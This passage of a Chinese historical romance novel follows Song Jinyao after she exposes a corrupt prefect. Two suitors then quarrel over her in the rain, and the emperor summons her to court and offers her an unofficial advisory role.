刺史被几位侍卫强行带走,临走前,他拼命朝宋锦瑶喊道:“宋锦瑶,那日晚上是你对吧?你要是真有能耐,就把那两位大人也揪出来,不然,朝廷迟早都会败在他们手上!”
两位?
宋锦瑶瞬间愣在原地,可那日,明明就只有一位与他在树下交谈啊,莫非自己来晚一步?
想到这,她背后不禁阵阵发凉。既然刺史都知晓是她,那树下的人想必也注意到了。
这时,之前拿着地契的老者,缓缓走到他们面前,感激地看着宋锦瑶,将刺史袖中的账本递给宋老爷子查看。
“大人,这是宋小姐所下的赌注,依我看,确实和宋小姐所猜测的一样,整个账册的银子,全都是用石头来糊弄的。”
宋老爷子接过账本,低头查看里面的内容,脸色愈发凝重:“瑶儿,是我低估你的实力,为父会将这些证据整理好,回京便呈给圣上查看。”
“有劳父亲了。”宋锦瑶礼貌向宋老爷子行礼,望着他远去的背影,轻轻叹了口气。
“宋小姐。”
县令跪在地上,头都不敢抬,满脸感激地说:“多谢宋小姐愿意相信我,多谢宋小姐还我清白,我无以为报,日后若有什么请求,就算上刀山下火海,我也在所不辞。”
闻言,宋锦瑶低头垂眸,看到县令谦卑的模样,连忙扶他起身。
“大人这是何苦,您不也告诉小女刺史贪污的证据吗?若不是大人肯出面揭发,小女也不能如此顺利,而且我帮的不止是大人,更是芙蕖城的百姓。”
“有宋小姐这样的人,是大昭的荣幸。你心怀正义,日后必能成就常人难以企及的功绩。”
见他迟迟不肯起来,宋锦瑶只好一同蹲下,一脸凝重地低声问道:“县令大人,小女之前找师爷时,他曾提到过刺史背后的大人叫假面公子,您可知到底是谁?他是不是也参与了此事?是不是……”
话音未落,县令猛地抬头,眼睛死死地盯着她,眼中闪过异样的情绪,反应过来后,立马摇头否认:“我不知道什么假面公子,从来没听说过。”
宋锦瑶:“……”
县令绝对知道此事,不只是他,整个芙蕖城的官员似乎都了解不少,只不过他们都守口如瓶,不会透露出一丝风声。
她眉头微皱,观察四周并无可疑之人后,轻声说道:“县令大人,您方才不是说,无论是上刀山下火海,都愿意帮助小女吗?这才不到一个时辰,就不算数了?”
“这……”县令有些动摇,但眼底更多的是不安。
雨势越来越大,夹带着微风打在宋锦瑶身上,可她丝毫不在意,目光炽热地盯着县令开口。
他纠结片刻,缓缓回道:“宋小姐,不是老夫不告诉你,只是……那人就在这附近看着呢。”
说罢,宋锦瑶身子猛然一僵,整个人愣在原地,瞬间感觉到身后有双无形的眼睛,正在无声地打量着自己。
明明早已入春,此刻的暴雨却像冬日那般寒冷。
县令注意到她眼底闪过震惊的神色,道:“若宋小姐没什么事,老夫便退下了。”
他起身离开,临走前,忍不住提醒道:“宋小姐,当局者迷,有时还请擦亮眼睛,重新审视身边的每一个人。”说罢,便低着头走向百姓。
雨水顺着她的脸颊滑落,宋锦瑶努力消化县令这句话的含义,注意到头顶的雨水突然停了,她疑惑地转身望去,一眼便对上那双真挚的眼眸。
孟诩撑着伞站在她身后,目光自然地落在宋锦瑶身上,眼睛弯弯,笑成月牙:“宋小姐,下雨了,我们回去吧。”
百姓们被县令遣散,原本喧闹的街道上此刻只有零零散散的几个人。望着孟诩眼底倒映出自己的模样,宋锦瑶刚想开口回应,另一道声音从远处传来。
“宋锦瑶。”
听到这个声音,她和孟诩同时抬头望去,目光直直地落在徐颂祁身上。他一个人撑着伞站在那边,双眼警惕地不断打量着孟诩。
看到他居然会出现在这里,宋锦瑶感到一丝诧异,轻笑道:“你怎么会在这里?不是说提前回京了吗?”说罢,她毫不犹豫地朝徐颂祁走去。
结果还没走一步,手腕便被孟诩紧紧握住,她惊愕地抬头看向孟诩,对方先开了口。
“他是谁?你不是说除了我,在芙蕖城没有认识的人吗?”
宋锦瑶身子猛然一僵,愣在原地不知如何解释,心想总不能当场说对方是王爷吧,不然只会闹得更尴尬。
她轻咳一声:“他是我在京城认识的朋友,此次办事路过此地,放心,在芙蕖城我只有你这么一个朋友。”
“真的吗?”
见她迟迟不肯过来,还和陌生人有说有笑地交谈,徐颂祁握紧伞柄,冷着脸直挺挺地走过去。
“我刚刚说话,你是没听见吗?”徐颂祁目光紧盯在她身上,自动无视她身侧的其他男子。
闻言,孟诩眉头紧皱,毫不客气地回怼道:“你凶什么凶,没看见是我先来的吗?而且宋小姐凭什么就得听你的话?你以为你是谁?”
徐颂祁眼中闪过寒光,冷冷回道:“这位公子误会了,我与她关系亲近,平日就是这般说话。只不过瞧公子眼生,不知是哪家人?”
“我是她的心上人。”
徐颂祁猛地看向一脸生无可恋的宋锦瑶,脸上写满“你最好给我一个解释”的表情,不甘示弱道:“公子怕是误会了,我从未听闻她有心上人,况且我还与她同榻睡过,公子可有过?”
“你!”孟诩又气又震惊地看着徐颂祁,“同榻睡过又如何!我可是宋小姐当着御史和刺史的面,亲口承认的恋人。”
宋锦瑶:“……”
算我求你们,别吵了两位祖宗。
两人气势不相上下,眼睛恶狠狠地瞪着对方,只有身侧的宋锦瑶感到两眼一黑,想解释又不知从何说起。
“好一个亲口承认的恋人。”徐颂祁冷眼扫过她,气愤地甩起衣袖,闷哼声转头走开。
好像,似乎,闹脾气了?
宋锦瑶被吓得愣在原地不敢吱声,直到孟诩低头担忧地看着她,询问道:“宋小姐,果真如他所言,你们已经与他……同榻睡过了?”
“啊?”
宋锦瑶望着徐颂祁越来越远的背影,这下开始慌了,顾不上他刚刚问些什么,连忙回道:“抱歉啊孟诩,他比较难哄。”说罢,她毫不犹豫冲出雨伞,冒
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雨朝徐颂祁跑去。
孟诩站在原地,看着她跑进另一个人的雨伞下,满脸歉意地看着对方,乞求他的原谅。
那是他从未在一位如此要强的女子面前见过的神色,好像整个世界就只剩下对方。
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江风吹过海面,信鸽送来那位大人的密信,船舫上傅渊把玩着同样纹路的棋罐,低头查看里面的内容。
他随意将密信点燃销毁,轻笑道:“宋锦瑶,你以为赢的是这盘棋?其实天下棋局,才刚刚开始!”
随后扭头对手下说道:“准备,我们要下船了。”
之后的日子又接连下了好几天暴雨,等好不容易回京时,御史府前的树都开花了。
这日她百般无聊,便与宋锦初谈起芙蕖城的事。看到他一会儿替自己生气,一会儿又担忧,最后终于大快人心时,恨不得跳起来鼓掌的模样,逗得她开怀大笑。
此时,府院外突然响起一道声响,两人刚想询问,紧接着,皇室传召的人走过来,站在面前,大声喊道:
“奉天承运,皇帝诏曰:闻御史大夫宋公之女,因助芙蕖城捉拿贪官,声名远扬。朕心甚悦,特宣其入宫,以彰其美。钦此!”
宋锦瑶接到旨意后,宋锦初替她高兴,等人走了,他欢快地走到她面前,激动道:“阿姊!圣上居然亲自召你入宫,而且阿爹还没回来,想必也是圣上留住他。”
“而且以我的经验,听刚才传召人的语气,指不定是什么好事!阿姊快换好衣服入宫,我等阿姊的好消息!”宋锦初一蹦一跳的,比她自己还要高兴。
这还是宋锦瑶第一次以这样的名号进宫,说不紧张是假的。
大殿内,宋锦瑶一眼便望见高坐龙椅上的圣上,她赶忙恭敬地行礼。
圣上虚弱的脸上带着些苦笑,道:“宋锦瑶,你协助朝廷严惩贪官,为百姓谋福,实乃大功一件。朕听闻民间对你赞誉有加,今日特宣你进宫,一来是要好好嘉奖你,二来也想听听你的见解。”
明明在公主生辰宴时,初见圣上还精力十足,为何仅过一年,整个人面色就差了如此之多?
宋锦瑶微微欠身:“陛下过奖,臣女不过帮父亲处理分内之事。能为百姓排忧解难,是我的荣幸。”
圣上微微点头,眼中满是赞赏:“如今朝堂之上,仍有诸多弊病,你可有什么想法?”
宋锦瑶思索片刻,道:“陛下,依臣女之见,为官者应以百姓为重,可设立更加严格的监察制度。同时,注重选拔真正有才能的人入朝为官,使朝堂清明,百姓安乐。”
圣上听后,频频点头道:“说得好!朕看你聪慧过人,又心怀天下,不如就留在宫中,为朝廷出谋划策。”
此话一出,宋老爷子和宋锦瑶心中一震,俩人同时抬头看向圣上。
她从未想过会有这样的机会。
宋老爷子急忙开口道:“陛下请三思啊,小女虽本领过人,但朝廷中女子为官甚少,日后诸多不便。”
如今圣上身体欠佳,朝廷局势动荡不安,皇子之间明争暗斗争夺皇位,此刻让她为官,岂不是将她往火坑里推吗?
圣上脸色突然沉了下来,质问道:“宋御史,你是在质疑朕吗?”
“臣不敢。若陛下执意如此,臣恐怕其他大臣也会有意见,日后若处理起来,只会让陛下更为烦心。”
“那你说如何是好?”
“既然陛下如此看重臣女,不妨以她作为清流象征,传于百姓口中,既能在民间声望大增,还能成为激发女子学习的榜样。”
“至于陛下所想,”宋老爷子稍作停顿道,“可以让臣女参政,但不设明确官位。若臣女表现优异,日后再封官位,这样便能避免他人陷害,毕竟臣女的优秀,大昭的百姓都看在眼里。”